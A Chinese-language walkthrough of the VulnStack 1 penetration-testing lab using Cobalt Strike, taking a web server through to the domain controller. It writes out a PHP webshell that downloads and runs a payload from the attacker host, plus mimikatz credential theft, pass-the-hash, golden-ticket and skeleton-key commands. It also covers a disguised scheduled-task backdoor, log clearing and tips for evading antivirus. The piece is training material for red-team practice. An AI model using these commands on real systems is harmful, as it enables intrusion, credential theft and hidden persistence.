Cobalt Strike实战红日VulnStack:内网渗透从外网突破到域控的完整演练

Cobalt Strike实战红日VulnStack:内网渗透从外网突破到域控的完整演练

1. 项目概述:从靶场到实战的内网渗透演练

如果你对网络安全攻防感兴趣,尤其是对内网渗透这个听起来有点“神秘”的领域,那么“红日VulnStack”这个靶场系列,绝对是你绕不开的经典练手场。它模拟了一个相对真实的企业内网环境,从外网Web漏洞入手,一步步打点、横向移动、权限维持,最终拿下整个域控,完整复现了一次攻击者视角的渗透测试流程。而在这个过程中,Cobalt Strike作为渗透测试领域的“瑞士军刀”,其强大的协同作战、权限管理和后渗透能力,能让整个渗透过程如虎添翼,效率倍增。

这篇文章,我就以一个一线渗透测试工程师的视角,带你手把手走一遍用Cobalt Strike玩转红日VulnStack靶场(以经典的VulnStack 1为例)的全过程。这不仅仅是一份通关攻略,更是一次深度理解内网渗透核心思想、掌握Cobalt Strike关键操作、并规避常见陷阱的实战演练。无论你是刚入门安全的新手,还是想系统梳理内网知识体系的从业者,都能从中获得直接的、可复现的收获。我们会从环境搭建开始,一步步经历信息收集、漏洞利用、横向移动、权限提升、域渗透直至最终控制整个域,每一个环节我都会结合Cobalt Strike的功能,告诉你“为什么要这么做”以及“怎么做更高效”。

2. 环境准备与靶场拓扑解析

工欲善其事,必先利其器。在开始渗透之前,我们必须清晰地知道战场是什么样的,以及我们手头有哪些武器。

2.1 靶场环境搭建与网络拓扑

红日VulnStack 1靶场通常由三台虚拟机组成,模拟了一个简单的企业域环境。为了后续Cobalt Strike的顺利连接,我强烈建议使用VMware或VirtualBox的NAT网络模式,并确保所有虚拟机在同一网段(例如192.168.111.0/24),同时你的攻击机(运行Kali和Cobalt Strike Team Server的机器)也需要在这个网段内。

典型的拓扑结构如下:

  • 攻击机 (Attacker): 你的Kali Linux,IP假设为192.168.111.128。同时,Cobalt Strike的Team Server也运行在这台机器或同一网络下的另一台Linux上。
  • 靶机1 (WEB): Windows 7系统,通常扮演着对外提供Web服务的服务器。它有两块网卡:
    • 一块连接外网(192.168.111.0/24),IP如192.168.111.129,我们可以从攻击机直接访问。
    • 另一块连接内网(172.16.12.0/24),IP如172.16.12.129。这是我们进入内网的第一个跳板。
  • 靶机2 (PC): Windows 7系统,是内网的一台普通办公电脑,仅有一块内网网卡,IP如172.16.12.130,通常加入了域。
  • 靶机3 (DC): Windows Server 2008 R2系统,是整个内网的域控制器(Domain Controller),IP如172.16.12.131,域名为de1ay.com

我们的攻击路径非常清晰:先通过外网漏洞拿下WEB服务器(192.168.111.129),然后以它为跳板,进入内网(172.16.12.0/24),逐步横向移动到PC和DC,最终夺取域控权限。

注意:务必在虚拟机设置中关闭所有靶机的防火墙,或者放行相关端口(如445, 135, 139等),否则很多内网横向技术会失败。这是新手最容易忽略导致“卡关”的点。

2.2 Cobalt Strike团队服务器与客户端配置

Cobalt Strike分为服务端(Team Server)和客户端(Client)。服务端负责管理“肉鸡”(被控主机)、协调团队协作、提供监听器;客户端是我们操作的图形化界面。

1. 启动Team Server:在攻击机(Kali)上,进入Cobalt Strike目录,执行以下命令启动服务端。你需要一个许可证文件(.cobaltstrike.license),并设置一个强密码用于客户端连接。

./teamserver <你的攻击机IP> <连接密码> [/path/to/profiles] [YYYY-MM-DD] # 示例:./teamserver 192.168.111.128 MyStrongPassword123

启动后,Team Server会监听50050端口。请确保攻击机的防火墙允许该端口。

2. 连接客户端:在另一台机器(可以是Windows或Linux,装有Java环境)上启动Cobalt Strike客户端。

  • 主机:填写Team Server的IP(192.168.111.128)。
  • 端口:50050
  • 用户:可以任意起一个,用于在团队中标识你,例如operator1
  • 密码:就是启动Team Server时设置的MyStrongPassword123

连接成功后,你会看到Cobalt Strike的主界面。至此,我们的“作战指挥中心”就搭建完毕了。

3. 创建第一个监听器(Listener):监听器是Cobalt Strike接收被控主机回连的“电话线”。在开始攻击前必须设置好。

  • 点击Cobalt Strike->Listeners
  • 点击Add,类型选择windows/beacon_http/reverse_http(这是最常用、兼容性最好的之一)。
  • Name可以设为http-80
  • HTTP Hosts填写你的Team Server IP(192.168.111.128)。
  • HTTP Port (C2)填写80(使用80端口可以更好地伪装成正常Web流量)。
  • 其他保持默认,点击Save

这个监听器将用于生成我们的初始Payload,让WEB服务器“打电话”回来给我们。

3. 外网打点与初始突破

内网渗透的第一步,永远是找到一个进入内网的入口。在红日VulnStack 1中,这个入口就是WEB服务器上的一个存在漏洞的Web应用。

3.1 信息收集与漏洞发现

首先,我们用Nmap对WEB服务器(192.168.111.129)进行端口扫描。

nmap -sV -sC -O 192.168.111.129

扫描结果通常会显示开放了80端口(HTTP)和3306端口(MySQL)。访问http://192.168.111.129,你会发现一个“Yxcms”的建站系统。通过简单的目录扫描(可以用dirsearch或gobuster),或者直接观察页面,你可能发现其版本信息。

经验告诉我,这种靶场常用的CMS,漏洞往往出在已知的漏洞上。通过搜索“Yxcms 漏洞”,或者使用AWVS、Nessus等扫描器,可以快速定位到可能存在SQL注入、文件上传等漏洞的点。在红日VulnStack 1中,常见入口点是一个存在SQL注入的搜索功能,或者一个后台登录页面的弱口令/爆破。

实操心得:在实际渗透中,信息收集的细致程度直接决定成功率。不要只扫描常见端口,要关注服务横幅(Banner)、目录结构、备份文件(.bak, .swp)、子域名等。对于Web应用,手动测试每个参数(GET/POST)的注入、XSS、文件包含可能性,比单纯依赖工具更有效。

3.2 漏洞利用与Shell获取

假设我们通过SQL注入获取了后台管理员账号密码(例如 admin/123456),并成功登录。接下来就是寻找文件上传点,上传我们的Webshell。

1. 生成Cobalt Strike Payload:在Cobalt Strike客户端,点击Attacks->Packages->Windows Executable (S)。这里选择Windows Executable而不是Windows Executable (Stageless),是因为前者是分阶段(Staged)的,Payload很小,更适合通过上传大小受限的Webshell来下载并执行。

  • Listener选择我们刚才创建的http-80
  • 勾选x64(如果目标系统是64位)。
  • 点击Generate,会生成一个.exe文件,例如payload.exe

2. 制作Webshell并上传:由于直接上传.exe文件可能会被拦截,我们通常制作一个一句话木马(如PHP、ASPX),通过它来下载并执行我们的payload.exe

  • 在攻击机上,用Python启动一个简单的HTTP服务,将payload.exe放在目录下。
    python3 -m http.server 8080
  • 制作一个PHP的Webshell,内容如下:
    <?php // 方法1:直接执行系统命令下载并运行 system('certutil -urlcache -split -f http://192.168.111.128:8080/payload.exe C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe'); // 方法2:更隐蔽的方式,使用powershell // system('powershell -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://192.168.111.128:8080/payload.ps1\')\"'); ?>
    将上述代码保存为shell.php,然后通过网站的文件上传功能(可能需要绕过前端校验、内容类型检查、后缀黑名单等)将其上传到可访问的Web目录,例如/upload/shell.php

3. 触发Shell:访问http://192.168.111.129/upload/shell.php。如果一切顺利,你的Python HTTP服务会收到下载payload.exe的请求,并且几秒后,Cobalt Strike的客户端会弹出一个提示,显示一个新的主机上线了。

点击View->Web Log可以查看HTTP监听器的访问日志,确认Payload被下载。在主机列表中,你应该能看到一台IP为192.168.111.129的主机,图标从灰色变成红色,表示已上线。

注意:在实际环境中,杀毒软件(AV)和端点检测响应(EDR)是最大的障碍。Cobalt Strike的默认Payload很容易被查杀。因此,在生成Payload时,务必使用Attacks->Packages->Payload Generator来生成各种格式的Shellcode,然后配合自定义的加载器(Loader)或使用Artifact Kit进行混淆免杀,这是红队必备技能。在靶场中我们可以暂时关闭AV或使用默认配置,但心里要有这根弦。

4. 内网横向移动与权限提升

拿到WEB服务器的Beacon会话后,我们才算真正进入了内网。现在,我们的视角从外网的一台服务器,切换到了内网中的一个点。接下来要做的,就是从这个点出发,探索和征服整个内网。

4.1 内网信息收集(立足点加固)

首先,我们需要了解我们当前所在的这台“跳板机”的详细情况。在Cobalt Strike中,右键点击上线的会话,选择Interact,打开一个Beacon命令行。

1. 基础系统信息:

beacon> shell systeminfo beacon> shell ipconfig /all beacon> net view

这些命令可以帮我们了解系统版本、补丁情况、网络配置(注意那块内网网卡172.16.12.129)、以及当前网络中的其他机器。

2. 权限判断与提升:

beacon> getuid

如果返回的权限不是NT AUTHORITY\SYSTEM,我们需要进行提权。可以使用runas或者利用本地提权漏洞。Cobalt Strike内置了Elevate模块,可以尝试多种提权漏洞(如MS14-058, MS16-032等)。右键会话 ->Access->Elevate,选择一种漏洞利用程序,选择你的监听器,点击Launch。如果成功,你会获得一个新的高权限会话。

3. 凭证获取:内网横向移动,凭证(用户名、密码、哈希)是关键。在Beacon中,我们可以尝试抓取内存中的明文密码和哈希。

beacon> mimikatz beacon> mimikatz !sekurlsa::logonpasswords

如果成功,你可能会获取到当前登录用户(甚至其他用户)的明文密码或NTLM哈希。将这些密码和用户名记录下来,它们可能是通往其他机器的钥匙。

4. 内网端口扫描与存活主机发现:现在,我们从这台跳板机向内网扫描。使用Cobalt Strike内置的端口扫描器或ARP扫描。

beacon> net view /domain # 查看域 beacon> net view /domain:de1ay.com # 查看域内机器列表(可能不准确) beacon> portscan 172.16.12.0/24 445,135,139,3389 arp # 使用ARP扫描存活主机,并探测常见端口

扫描完成后,在View->Targets中可以看到发现的内网主机列表,应该能发现172.16.12.130(PC) 和172.16.12.131(DC)。

4.2 横向移动技术实战

有了目标列表和可能的凭证,我们就可以开始横向移动了。这里介绍几种Cobalt Strike中常用的方式。

1. Psexec横向移动(使用哈希传递Pass The Hash):假设我们通过Mimikatz从WEB服务器上抓取到了域用户de1ay\webadmin的NTLM哈希。我们可以尝试用这个哈希去横向攻击PC(172.16.12.130)。

  • 在Cobalt Strike中,右键WEB服务器的会话 ->Access->Psexec
  • Listener选择你的监听器(如http-80)。
  • Target输入172.16.12.130
  • Service Name可以自定义,用于在目标机器上创建的服务名。
  • User输入de1ay\webadmin
  • Password Hash输入抓取到的NTLM哈希(去掉LM部分,只取NT部分,例如aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4)。
  • 点击Launch

如果该用户在目标机器上有管理员权限,且防火墙规则允许,Cobalt Strike会在目标机器上创建服务执行Payload,并将会话弹回。成功后,你会在主机列表里看到PC(172.16.12.130)上线。

2. WinRM横向移动:如果目标机器(如DC)开启了WinRM服务(5985端口),我们可以使用抓取到的明文密码进行横向移动。

  • 首先,确保在Beacon中已经通过mimikatz抓到了明文密码。
  • 在Cobalt Strike中,点击View->Credentials,可以看到已获取的凭证。右键一个凭证 ->Spawn As
  • 选择你的监听器,输入目标主机IP(172.16.12.131),Cobalt Strike会尝试使用该凭证通过WinRM在目标主机上执行Payload。

3. SMB Beacon与跳板列表(Pivoting):这是Cobalt Strike非常强大的功能,用于在多层内网中穿梭。我们可以将WEB服务器设置为一个SMB Beacon的中继点,让内网其他机器通过它来连接我们的Team Server,从而绕过一些网络限制。

  • 首先,在WEB服务器的Beacon中,输入beacon> socks 1080开启一个SOCKS4a代理,方便我们攻击机直接访问内网IP。
  • 然后,生成一个SMB Beacon的Payload。Attacks->Packages->Windows Executable (S)Listener选择windows/beacon_smb/bind_pipe
  • 将这个Payload通过已有的会话(如Psexec)传到内网目标机器(如PC)上并执行。
  • 在Cobalt Strike的View->Pivots中,你可以看到SMB管道连接。内网机器的Beacon会通过WEB服务器这个“跳板”与Team Server通信。

实操心得:横向移动时,不要只盯着一种方法。如果Psexec失败,可以尝试WMI(jump winrm64)、计划任务(schtasks)、或者利用MS17-010(永恒之蓝)等漏洞。多一种方法,就多一条路。同时,动作要轻,避免在目标机器上留下大量日志。Cobalt Strike的jump命令集成了多种横向移动方式,非常方便。

5. 域渗透与权限维持

在拿下一台或多台域内主机后,我们的最终目标就是域控制器(DC)。域渗透的核心在于获取域管理员的凭证或直接控制DC。

5.1 域内信息深度收集

在已经控制的域成员机(如PC)上,我们需要收集更详细的域信息。

beacon> shell net group "domain admins" /domain # 查看域管理员组 beacon> shell net group "domain computers" /domain # 查看域内所有计算机 beacon> shell net accounts /domain # 查看域密码策略 beacon> shell dsquery computer # 通过ADSI查询计算机 beacon> shell dsquery user # 查询用户

使用PowerShellBloodHound收集器可以更直观地分析域内攻击路径。Cobalt Strike可以集成SharpHound(BloodHound的收集器)。

  • SharpHound.exe上传到目标机器。
  • 在Beacon中执行:beacon> execute-assembly /path/to/SharpHound.exe -c All
  • 将生成的.zip文件下载到本地,导入到BloodHound图形化工具中,它可以自动分析出到域控的最短路径,例如“用户A是服务器B的管理员,而服务器B上有域管会话”。

5.2 攻击域控制器

在红日靶场中,DC(172.16.12.131)通常可以通过之前抓取的域用户凭证直接访问。如果域用户de1ay\webadmin是域管理员,那么直接用Psexec或WinRM即可拿下。但更常见的情况是,我们需要进行权限提升或利用域漏洞。

1. 黄金票据(Golden Ticket)攻击:如果我们抓取到了域控的krbtgt用户的NTLM哈希(这是域的核心秘密),我们就可以伪造任意用户的TGT(票据授予票据),从而访问域内任何服务。

  • 首先,需要拿到krbtgt的哈希。这通常需要在域控上执行mimikatz lsadump::dcsync /user:krbtgt。这需要域管理员或同等权限。
  • 在Cobalt Strike的Beacon中(任意域成员机),使用mimikatz命令:
    beacon> mimikatz kerberos::golden /user:Administrator /domain:de1ay.com /sid:<域SID> /krbtgt:<krbtgt的NTLM哈希> /ptt
    /ptt参数表示将生成的黄金票据注入当前会话。
  • 注入后,就可以直接访问域控了,例如beacon> shell dir \\dc.de1ay.com\c$

2. MS14-068漏洞利用:如果域控没有打MS14-068补丁,即使是一个普通的域用户,也可以利用该漏洞提升到域管理员权限。Cobalt Strike有相应的漏洞利用模块。

  • 在已控的域成员机上,确保抓取到了某个域用户的明文密码或哈希。
  • 使用exploit/windows/local/ms14_068_kerberos_checksum模块,填入域信息、用户SID、密码哈希等,生成一个高权限的票据并注入。

5.3 权限维持(后门)

拿下域控不是终点,我们需要留下后门,确保即使被发现,也能再次回来。

1. 创建计划任务后门:在域控上创建一个计划任务,定期连接我们的Cobalt Strike监听器。

beacon> shell schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 30 /ru SYSTEM

这个命令创建一个名为“WindowsUpdate”的任务,每30分钟以SYSTEM权限执行我们的Payload。

2. 创建WMI事件订阅后门:这是一种更隐蔽的持久化方式。Cobalt Strike的Persistence->WMI模块可以一键生成。

  • 右键域控的会话 ->Persistence->WMI
  • 选择监听器,设置触发事件(如用户登录、定时等)。
  • 点击Launch,Cobalt Strike会自动在目标上创建WMI事件过滤器、消费者和绑定,实现无文件持久化。

3. 黄金票据 + Skeleton Key:黄金票据本身就是一个长效后门。结合Skeleton Key(万能钥匙),可以在域控上植入一个后门密码,让任何域用户都可以使用一个通用密码进行认证(不影响原密码)。

beacon> mimikatz misc::skeleton

执行后,所有域用户都可以使用额外设置的“万能密码”(默认是mimikatz)进行网络认证。但这需要重启域控的Kerberos服务,动静较大。

注意:权限维持技术是双刃剑,在真实渗透测试中,需根据目标的安全防护水平和监控能力谨慎选择,并严格遵守授权范围。在靶场中,我们可以尽情尝试,理解其原理。

6. 痕迹清理与总结反思

一场完整的渗透测试,在拿到目标后,还需要考虑如何优雅地退出,尽量减少留下的痕迹。

1. 日志清理:

  • Windows事件日志:可以使用clearev命令清除当前会话的安全、系统和应用日志。但注意,在域环境中,安全日志可能被集中收集到SIEM。
  • IIS/Apache日志:手动删除或篡改Web服务器上记录我们访问行为的日志文件。

2. 文件清理:删除上传的Webshell、Payload、工具(如Mimikatz、SharpHound等)以及生成的临时文件。

beacon> rm C:\Windows\Temp\payload.exe beacon> shell del C:\inetpub\wwwroot\upload\shell.php

3. 服务与计划任务清理:删除我们创建的用于持久化的计划任务、服务或WMI事件订阅。

beacon> shell schtasks /delete /tn "WindowsUpdate" /f

4. 会话退出:在Cobalt Strike中,右键会话选择Exit,Beacon会尝试在退出前执行一个清理命令(如果配置了的话),然后关闭连接。

总结与反思:走完红日VulnStack 1靶场结合Cobalt Strike的整个流程,你应该对内网渗透的基本脉络有了清晰的认识:外网突破 -> 立足点信息收集 -> 凭证获取 -> 内网探测 -> 横向移动 -> 域信息收集 -> 域权限提升 -> 域控攻击 -> 权限维持。Cobalt Strike在这个流程中扮演了“中枢神经”的角色,它将信息收集、漏洞利用、横向移动、凭证管理、团队协作等功能集成在一个平台上,极大地提升了效率。

然而,工具再强大,也只是思想的延伸。真正重要的是理解每一步背后的原理:为什么抓取LSASS内存能拿到密码?PTH攻击的本质是什么?Kerberos协议如何工作,黄金票据又为何能伪造?只有理解了这些,你才能举一反三,在工具失效或环境变化时,依然能找到出路。

最后,在实战中,对抗的不仅仅是系统漏洞,更是人的意识和安全体系。蓝队的日志分析、流量监测、终端防护(EDR)会让你举步维艰。因此,免杀技术、隐蔽信道、对抗溯源、操作节奏控制,是红队工程师需要不断精进的下一个层次。靶场是安全的沙盒,在这里大胆尝试,反复练习,把每一个命令、每一个模块都吃透,才是通往实战的坚实阶梯。